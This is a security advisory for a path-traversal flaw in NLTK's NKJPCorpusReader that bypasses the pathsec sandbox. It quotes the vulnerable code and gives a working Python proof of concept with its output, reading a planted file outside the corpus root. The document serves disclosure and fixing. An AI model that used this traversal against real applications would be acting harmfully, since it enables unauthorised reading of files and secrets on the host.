CVE-2026-12072: Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)
Summary A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, taggedwords) to read files outside the corpus root.
Published Jul 31, 2026
Affected packages
nltk
- Ecosystem
- PyPI
- Affected
- <= 3.9.4
- Fixed in
- 3.10.0
- Check
pip show nltk
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).
Details
SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).
NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:
add_root()builds the path by plain string concatenation with no normalization or containment check: ``python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped``- The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin
open()): ``python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189`` - The other modes reach the filesystem through
XML_Tool, which uses a rawos.path.join(not the hardenedFileSystemPathPointer.join()) and the builtinopen(): ``python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted``
Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.
PoC
Tested against nltk==3.9.4 (latest PyPI release) and current develop.
pip install "nltk==3.9.4"
python3 poc.pypoc.py:
import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader
print("nltk", nltk.__version__)
# A legitimate, empty NKJP corpus root (what a real app has).
root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
os.makedirs(os.path.join(root, "sample"), exist_ok=True)
open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")
# The attacker's target: a file OUTSIDE the corpus root.
secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
open(os.path.join(secret_dir, "header.xml"), "w").write(
"<teiHeader><fileDesc><sourceDesc><bibl>"
"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
"</bibl></sourceDesc></fileDesc></teiHeader>")
# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
pathsec.ENFORCE = True
print("ENFORCE =", pathsec.ENFORCE)
# Prove the out-of-root read and that pathsec is never consulted.
opened = []; real = builtins.open
builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]
reader = NKJPCorpusReader(root=root + "/", fileids="sample")
# Attacker-controlled `fileids`; '..' escapes the corpus root:
evil = root + "/../../../../../../.." + secret_dir + "/"
try:
result = reader.header(fileids=[evil])
finally:
builtins.open = real
print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1])
print("disclosed content :", result[0]["title"])
shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)Output (unmodified):
nltk 3.9.4
ENFORCE = True
opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
disclosed content : SECRET-API-KEY=sk-live-DEADBEEFWith ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.
Impact
This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.
Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same "build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.
Credited to LinZiyuu, ekaf.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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